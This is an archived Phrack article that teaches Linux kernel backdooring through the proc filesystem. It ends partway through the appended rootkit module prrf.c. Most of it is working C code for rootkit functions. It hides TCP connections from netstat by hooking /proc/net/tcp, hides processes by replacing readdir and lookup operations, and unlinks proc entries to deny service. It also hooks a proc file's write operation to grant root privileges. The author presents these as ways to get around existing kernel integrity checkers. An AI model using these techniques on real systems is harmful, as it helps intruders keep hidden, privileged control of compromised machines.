💾 Archived View for aphrack.org › issues › phrack58 › 6.gmi captured on 2022-03-01 at 15:51:18. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x06 of 0x0e |=-----=[ Sub proc_root Quando Sumus (Advances in Kernel Hacking) ]=-----=| |=-----------------------------------------------------------------------=| |=-----------------=[ palmers <palmers@team-teso.net> ]=-----------------=| --[ Contents 1 - Introduction 2 - VFS and Proc Primer 2.1 - VFS and why Proc? 2.2 - proc_fs.h 2.3 - The proc_root 3 - Where to Go? 3.1 - Securing? 3.2 - Denial of Service 3.3 - Connection Hiding 3.4 - Elevation of Privileges 3.5 - Process Hiding 3.6 - Other Applications 4 - Conclusion 5 - Reference Appendix A: prrf.c --[ 1 - Introduction "The nineteenth century dislike of romanticism is the rage of Caliban seeing his own face in the glass. The nineteenth century dislike of realism is the rage of Caliban not seeing his own face in the glass." - Oscar Wilde, the preface to "The picture of Dorian Gray" Since I concern here on hacking, not literature, lets restate it. Our romanticism is security, realism is its shadow. This article is about the hacker Caliban. Our glass shall be the Linux kernel. Not the whole kernel; especially the proc filesystem. It offers interesting features and they are used a lot in userland. I will only describe this techniques for use in Linux kernel modules (LKM). It is up to the reader to port these techniques. Though, the techniques are port- able, their use will be very bounded on other unices. The proc filesystem, developed to the extends as in Linux, is not that extended in other unices. In general, it lists one directory per process. In Linux it can be used to gather plenty of information. Many programs rely on it. More informations can be found in [7] and [8]. Older versions of UNIX and HP-UX 10.x do not provide the proc filesystem. Process data, such as that obtained by the ps(1) command, is obtained by reading kernel memory directly. This requires superuser permissions and is even less portable than the proc filesystem structure. --[ 2 - VFS and Proc Primer First I will line out the needed basics to understand the techniques explained later on. Then proc filesystem design will be investigated, finally we will dive into, well, the roof top. --[ 2.1 - VFS and why Proc? The kernel provides a filesystem abstraction layer, called virtual filesystem or VFS. It is used to provide a unified view on any filesystem from the userland (see [1] for details). More on this methodology can be found in [2]. We will not look at proc from VFS view. We look at the un-unified filesystem, which is at the implementation level of the proc filesystem. This has a simple reason. We want to apply changes to proc and it still should look like any other filesystem. Did I already mention why proc is aimed at by this article? it has two attributes that make it interesting: 1. it is a filesystem. 2. it lives completely in kernel memory. Since it is a filesystem all access from the userland is limited to the functionality of VFS layer provided by the kernel, namely read, write, open and alike system calls (besides other access methods, see [3]). I will elaborate on the question: How can the kernel be backdoored without changing system calls. --[ 2.2 - proc_fs.h This subchapter will concern on the file named proc_fs.h; commonly in ~/include/linux/, where ~ is the root of you kernel source tree. Ok, here we go for 2.2 series: /* * This is not completely implemented yet. The idea is to * create an in-memory tree (like the actual /proc filesystem * tree) of these proc_dir_entries, so that we can dynamically * add new files to /proc. * * The "next" pointer creates a linked list of one /proc directory, * while parent/subdir create the directory structure (every * /proc file has a parent, but "subdir" is NULL for all * non-directory entries). * * "get_info" is called at "read", while "fill_inode" is used to * fill in file type/protection/owner information specific to the * particular /proc file. */ struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * ops; int (*get_info)(char *, char **, off_t, int, int); void (*fill_inode)(struct inode *, int); struct proc_dir_entry *next, *parent, *subdir; void *data; int (*read_proc)(char *page, char **start, off_t off, int count, int *eof, void *data); int (*write_proc)(struct file *file, const char *buffer, unsigned long count, void *data); int (*readlink_proc)(struct proc_dir_entry *de, char *page); unsigned int count; /* use count */ int deleted; /* delete flag */ }; The described "in-memory tree" will be unified by the VFS. This struct is a little different in 2.4 kernel: /* * This is not completely implemented yet. The idea is to * create an in-memory tree (like the actual /proc filesystem * tree) of these proc_dir_entries, so that we can dynamically * add new files to /proc. * * The "next" pointer creates a linked list of one /proc directory, * while parent/subdir create the directory structure (every * /proc file has a parent, but "subdir" is NULL for all * non-directory entries). * * "get_info" is called at "read", while "owner" is used to protect module * from unloading while proc_dir_entry is in use */ typedef int (read_proc_t)(char *page, char **start, off_t off, int count, int *eof, void *data); typedef int (write_proc_t)(struct file *file, const char *buffer, unsigned long count, void *data); typedef int (get_info_t)(char *, char **, off_t, int); struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * proc_iops; struct file_operations * proc_fops; get_info_t *get_info; struct module *owner; struct proc_dir_entry *next, *parent, *subdir; void *data; read_proc_t *read_proc; write_proc_t *write_proc; atomic_t count; /* use count */ int deleted; /* delete flag */ kdev_t rdev; }; Years of development did not complete it. Err.. complete it, yet. But well enough, it changed. get_info function prototype lost a argument. Working around this makes portable code a bit messy. Note that there are three new entries while one entry, readlink_proc, was removed. Also note, the file operation struct was moved from the inode operations into the proc_dir_entry struct. Working around this is just fine, see section 3. --[ 2.3 - The proc_root The Linux kernel exports the root inode of the proc filesystem, named proc_root. Hence, it is the root inode of the proc filesystem that the mountpoint, commonly /proc, is referring to. We can, starting there, go to any file in below that directory. However, there is one exception. The processes' directories can never be reached from proc_root. They are added dynamically, and presented to the VFS layer if readdir (inode operation) is called. It should be made clear that proc_root is of type "struct proc_dir_entry". --[ 3 - Where to Go? This chapter will introduce techiques to aquire even more abilities than commonly obtained by systemcall replacement. The following functions and macros will be used in the code provided in these subsections (note: for implementation see appendix A): As noted in section 2.2 we have to take care of a little change in design: #if defined (KERNEL_22) #define FILE_OPS ops->default_file_ops #define INODE_OPS ops #elif defined (KERNEL_24) #define FILE_OPS proc_fops #define INODE_OPS proc_iops #endif struct proc_dir_entry * traverse_proc (char *path, struct proc_dir_entry *start): On success, return a pointer to the proc file specified by path. On failures, NULL is returned. Start may either be NULL or an arbitrary proc_dir_entry; it marks the point there the search begins. The path may begin with "~/". If it does, the search starts at proc_root. int delete_proc_file (char *path): This function will remove a file from the proc directory lists. It will not free the memory the proc_dir_entry occupies, thus making it possible to reintroduce it later on. --[ 3.1 - Securing? The easiest modifications coming to mind are related to the first few fields in the proc_dir_entry. Namely uid, gid and mode. By changing them we can simply reissue and/or revoke the ability for certain users to access certain information. Side note here: some of the information accessable through /proc can be obtained in other ways. An implementation may look like this: proc_dir_entry *a = NULL; a = traverse_proc ("~/ksyms", NULL); if (a) { /* reset permissions to 400 (r--------): */ a->mode -= (S_IROTH | S_IRGRP); } a = traverse_proc ("~/net", NULL); if (a) { /* reset permissions to 750 (rwxr-x---): */ a->mode = S_IRWXU | S_IRGRP | S_IXGRP; /* reset owner group to a special admin group id */ a->gid = 7350; } Another possibility for securing proc access is given in 3.5. --[ 3.2 - Denial of Service Well, I will make this as short as possible. A malicious user might ap- ply changes to files to render parts of the system useless. Those, as mentioned above, can easily be undone. But if the malicious user simply unlinks a file it is lost: /* oops, we forget to save the pointer ... */ delete_proc_file ("~/apm"); what actually happens on delete_proc_file calls is (simplified): 0. find proc_dir_entry of the file to delete (to_del) 1. find the proc_dir_entry that matches: proc->next->name == to_del->name 2. relink: proc->next = to_del->next --[ 3.3 - Connection Hiding The netstat utility uses the proc file ~/net/* files to show e.g. tcp connections and their status, listening udp sockets etc. Read [4] for a complete discussion of netstat. Since we control the proc filesystem we are able to define what is read and what is not. The proc_dir_entry struct contains a function pointer named get_info which is called at file read. By redirecting this we can take control of the contents of files in /proc. Take care of the file format in different version. Files mentioned above changed their format from 2.2.x to 2.4.x. Notably, the same function can be used for redirection. Lets see how this develops in 2.5.x kernels. an example (for 2.2.x kernels, for differences to 2.4.x kernel see section 2.2): /* we save the original get_info */ int (*saved_get_info)(char *, char **, off_t, int, int); proc_dir_entry *a = NULL; /* the new get_info ... */ int new_get_info (char *a, char **b, off_t c, int d, int e) { int x = 0; x = saved_get_info (a, b, c, d, e); /* do something here ... */ return x; } a = traverse_proc ("~/net/tcp", NULL); if (a) { /* * we just set the get_info pointer to point to our new * function. to undo this changes simply restore the pointer. */ saved_get_info = a->get_info; a->get_info = &new_get_info; } Appendix A offers a example implementation. --[ 3.4 - Elevation of Privileges Often a system call is utilized to give under a certian condition extra privileges to a user. We will not redirect a system call for this. Redirecting the read file operation of a file is sufficient hence (1) it allows a user to send data into the kernel and (2) it is considerable stealthy if we choose the right pattern or the right file (elevating a tasks id's to 0 if it writes a '1' to /proc/sys/net/ipv4/ip_forward is certainly a bad idea). Some code will explain this. a = traverse_proc ("~/ide/drivers", NULL); if (a) { /* * the write function is called if the file is written to. */ a->FILE_OPS->write = &new_write; } It is a good idea to save the pointer you overwrite. If you remove the module memory containing the function might free'ed. It can bring havoc to a system if it subsequently calls a NULL pointer. The curious reader is encouraged to read appendix A. --[ 3.5 - Process Hiding What happens if a directory is to be read? You have to find its inode, then you read its entries using readdir. VFS offers a unified interface to this, we dont care and reset the pointer to readdir of the parent inode in question. Since the process directories are directly under proc_root there is no need for searching the parent inode. Note that we do not hide the entries from the user by sorting them out, but by not writing them to the users memory. /* a global pointer to the original filldir function */ filldir_t real_filldir; static int new_filldir_root (void * __buf, const char * name, int namlen, off_t offset, ino_t ino) { /* * if the dir entry, that should be added has a stupid name * indicate a successful addition and do nothing. */ if (isHidden (name)) return 0; return real_filldir (__buf, name, namlen, offset, ino); } /* readdir, business as usual. */ int new_readdir_root (struct file *a, void *b, filldir_t c) { /* * Note: there is no need to set this pointer every * time new_readdir_root is called. But we have to set * it once, when we replace the readdir function. If we * know where filldir lies at that time this should be * changed. (yes, filldir is static). */ real_filldir = c; return old_readdir_root (a, b, new_filldir_root); } /* replace the readdir file operation. */ proc_root.FILE_OPS->readdir = new_readdir_root; If the process that should be added last is hidden the list of entries is not properly linked since our filldir does not care about linking. However, this is very unlikely to happen. The user has all power he needs to avoid this condition. It is possible to just make files unaccessable within /proc by replacing the lookup inode operation of the parent: struct dentry *new_lookup_root (struct inode *a, struct dentry *b) { /* * will result in: * "/bin/ls: /proc/<d_iname>: No such file or directory" */ if (isHidden (b->d_iname)) return NULL; return old_lookup_root (a, b); } /* ... enable the feature ... */ proc_root.INODE_OPS->lookup = &new_lookup_root; E.g. this can be used to establish fine grained access rules. --[ 3.6 - Other Applications Now, lets have a look at what files wait to become modified. In the /proc/net directory are ip_fwnames (defining chain names) and ip_fwchains (rules). They are read by ipchains (not by iptables) if they are queried to list the filter rules. As mentioned above, there is a file named tcp, listening all existing tcp sockets. such a file exists for udp, too. the file raw lists raw sockets. sockstat contains statistics on socket use. A carefully written backdoor has to sync between the (tcp|udp|...) files and this one. The arp utility uses /proc/net/arp to gather its information. route uses the /proc/net/route file. Read their manpages and look out for the sections named "FILES" and "SEE ALSO". However, checking the files is only half of the work, e.g. ifconfig uses a proc file (dev) plus ioctl's to gether its information. As you can see, there are many many applications to these techniques. It is up to you to write new get_info functions to filter their output or to add new evil entries (non existing problems are the hardest to debug). --[ 4 - Conclusion As we saw in section 3.2 - 3.6 there are several possibilities to weaken the security in the Linux kernel. Existing kernel protection mechanisms, as [5] and [6] will not prevent them, they check only for well known, system call based, backdooring; we completely worked around it. Disabling LKM support will only prevent the specific implementation included here to work (because it is a LKM). Changing the proc structures by accessing /dev[k]mem is easy since most data of the inodes is static. Therefore they can be possibly found by simple pattern matching (only the function pointers and next/parent/subdir pointers will be different). A important goal, hiding of any directory and file, was not passed. This does not imply that it can not be reached by proc games. A possiblity could be to hardcode needed binaries into the kernel images proc structures, or on systems using sdram, leting them occupy unused memory space. Quiet another possibility might be to attack the VFS layer. That, of course, is the story of another article. Finally some words about the implementation appended. I strongly urge the read to use it ONLY as a proof of concept. The author can and must not be made responsible for any, including but not limited to, incidental or consequential damage, data loss or service outage. The code is provided "AS IS" and WITHOUT ANY WARRENTY. USE IT AT YOU OWN RISK. The code is know to compile and run on 2.2.x and 2.4.x kernels. --[ 5 - Reference [1] "Overview of the Virtual File System", Richard Gooch <rgooch@atnf.csiro.au> http://www.atnf.csiro.au/~rgooch/linux/docs/vfs.txt [2] "Operating Systems, Design and Implementation", by Andrew S. Tanenbaum and Albert S. Woodhull ISBN 0-13-630195-9 [3] RUNTIME KERNEL KMEM PATCHING, Silvio Cesare <silvio@big.net.au> http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt [4] netstat see netstat(1) for further information. [5] StMichael, by Tim Lawless <lawless@netdoor.com> http://sourceforge.net/projects/stjude [6] KSTAT, by FuSyS <fusys@s0ftpj.org> http://s0ftpj.org/tools/kstat.tgz [7] proc pseudo-filesystem man page see proc(5) [8] "T H E /proc F I L E S Y S T E M", Terrehon Bowden <terrehon@pacbell.net>, Bodo Bauer <bb@ricochet.net> and Jorge Nerin <comandante@zaralinux.com> ~/Documentation/filesystems/proc.txt (only in recent kernel source trees!) http://skaro.nightcrawler.com/~bb/Docs/Proc --[ Appendix A: prrf.c <++> ./prrf.c /* * prrf.c * * LICENSE: * this file may be copied or duplicated in any form, in * whole or in part, modified or not, as long as this * copyright notice is prepended UNMODIFIED. * * This code is proof of concept. The author can and must * not be made responsible for any, including but not limited * to, incidental or consequential damage, data loss or * service outage. The code is provided "AS IS" and WITHOUT * ANY WARRENTY. USE IT AT YOU OWN RISK. * * palmers / teso - 12/02/2001 */ /* * NOTE: the get_info redirection DOES NOT handle small buffers. * your system _might_ oops or even crash if you read less * bytes then the file contains! */ /* * 2.2.x #define KERNEL_22 * 2.4.x #define KERNEL_24 */ #define KERNEL_22 1 #define DEBUG 1 #define __KERNEL__ #define MODULE #include <linux/module.h> #include <linux/kernel.h> #include <sys/syscall.h> #include <linux/config.h> #include <linux/types.h> #include <linux/slab.h> #include <linux/smp_lock.h> #include <linux/fd.h> #include <linux/fs.h> #include <linux/proc_fs.h> #include <linux/sched.h> #include <asm/uaccess.h> /* * take care of proc_dir_entry design */ #if defined (KERNEL_22) #define FILE_OPS ops->default_file_ops #define INODE_OPS ops #elif defined (KERNEL_24) #define FILE_OPS proc_fops #define INODE_OPS proc_iops #endif #define BUF_SIZE 65535 #define AUTH_STRING "ljdu3g9edaoih" struct hide_proc_net { int id; /* entry id, useless ;) */ char *local_addr, /* these should be self explaining ... */ *remote_addr, *local_port, *remote_port; }; /* * global lst_entry: * set by traverse_proc, used by delete_proc_file. */ struct proc_dir_entry *lst_entry = NULL; /* * some function pointers for saving original functions. */ #if defined (KERNEL_22) int (*old_get_info_tcp) (char *, char **, off_t, int, int); #elif defined (KERNEL_24) get_info_t *old_get_info_tcp; #endif ssize_t (*old_write_tcp) (struct file *, const char *, size_t, loff_t *); struct dentry * (*old_lookup_root) (struct inode *, struct dentry *); int (*old_readdir_root) (struct file *, void *, filldir_t); filldir_t real_filldir; /* * rules for hiding connections */ struct hide_proc_net hidden_tcp[] = { {0, NULL, NULL, ":4E35", NULL}, /* match connection from ANY:ANY to ANY:20021 */ {1, NULL, NULL, NULL, ":4E35"}, /* match connection from ANY:20021 to ANY:ANY*/ {2, NULL, NULL, ":0016", ":4E35"}, /* match connection from ANY:20021 to ANY:22 */ {7350, NULL, NULL, NULL, NULL} /* stop entry, dont forget to prepend this one */ }; /* * get_task: * find a task_struct by pid. */ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /* * __atoi: * atoi! */ int __atoi(char *str) { int res = 0, mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /* * get_size_off_tcp: * get the size of the modified /proc/net/tcp file. */ static off_t get_size_off_tcp (char **start) { off_t x = 0, xx = 0, xxx = 0, y = 0; char tmp_buf[BUF_SIZE + 1]; do { x += y; xx += xxx; y = __new_get_info_tcp (tmp_buf, start, x, BUF_SIZE, 0, 1, &xxx); } while (y != 0); return x - xx; } /* * deny_entry: * check connection parameters against our access control list. * for all non-NULL fields of a entry the supplied parameters * must match. Otherways the socket will show up. */ int deny_entry (char *la, char *lp, char *ra, char *rp) { int x = 0, y, z; while (hidden_tcp[x].id != 7350) { y = 0; z = 0; if (hidden_tcp[x].local_addr != NULL) { if (!strncmp (la, hidden_tcp[x].local_addr, 8)) y++; } else z++; if (hidden_tcp[x].remote_addr != NULL) { if (!strncmp (ra, hidden_tcp[x].remote_addr, 8)) y++; } else z++; if (hidden_tcp[x].local_port != NULL) { if (!strncmp (lp, hidden_tcp[x].local_port, 5)) y++; } else z++; if (hidden_tcp[x].remote_port != NULL) { if (!strncmp (rp, hidden_tcp[x].remote_port, 5)) y++; } else z++; if ((z != 4) && ((y + z) == 4)) return 1; x++; } return 0; } /* * __new_get_info_tcp: * filter the original get_info output. first call the old function, * then cut out unwanted lines. * XXX: very small buffers will make very large problems. */ int __new_get_info_tcp (char *page, char **start, off_t pos, int count, int f, int what, off_t *fx) { char tmp_l_addr[8], tmp_l_port[5], tmp_r_addr[8], tmp_r_port[5], /* used for acl checks */ *tmp_ptr, *tmp_page; int x = 0, line_off = 0, length, remove = 0, diff, m; #if defined (KERNEL_22) x = old_get_info_tcp (page, start, pos, count, f); #elif defined (KERNEL_24) x = old_get_info_tcp (page, start, pos, count); #endif if (page == NULL) return x; while (*page) { tmp_ptr = page; length = 28; while (*page != '\n' && *page != '\0') /* check one line */ { /* * we even correct the sl field ("line number"). */ if (line_off) { diff = line_off; if (diff > 999) { m = diff / 1000; page[0] -= m; diff -= (m * 1000); } if (diff > 99) { m = diff / 100; page[1] -= m; diff -= (m * 100); } if (diff > 9) { m = diff / 10; page[2] -= m; diff -= (m * 10); } if (diff > 0) page[3] -= diff; if (page[0] > '1') page[0] = ' '; if (page[1] > '1') page[1] = ' '; if (page[2] > '1') page[2] = ' '; } page += 6; /* jump to beginning of local address, XXX: is this fixed? */ memcpy (tmp_l_addr, page, 8); page += 8; /* jump to beginning of local port */ memcpy (tmp_l_port, page, 5); page += 6; /* jump to remote address */ memcpy (tmp_r_addr, page, 8); page += 8; /* jump to beginning of local port */ memcpy (tmp_r_port, page, 5); while (*page != '\n') /* jump to end */ { page++; length++; } remove = deny_entry (tmp_l_addr, tmp_l_port, tmp_r_addr, tmp_r_port); } page++; /* '\n' */ length++; if (remove == 1) { x -= length; if (what) /* count ignored bytes? */ *fx += length; tmp_page = page; page = tmp_ptr; while (*tmp_page) /* move data backward in page */ *tmp_ptr++ = *tmp_page++; /* zero lasting data (not needed) while (length--) *tmp_ptr++ = 0; *tmp_ptr = 0;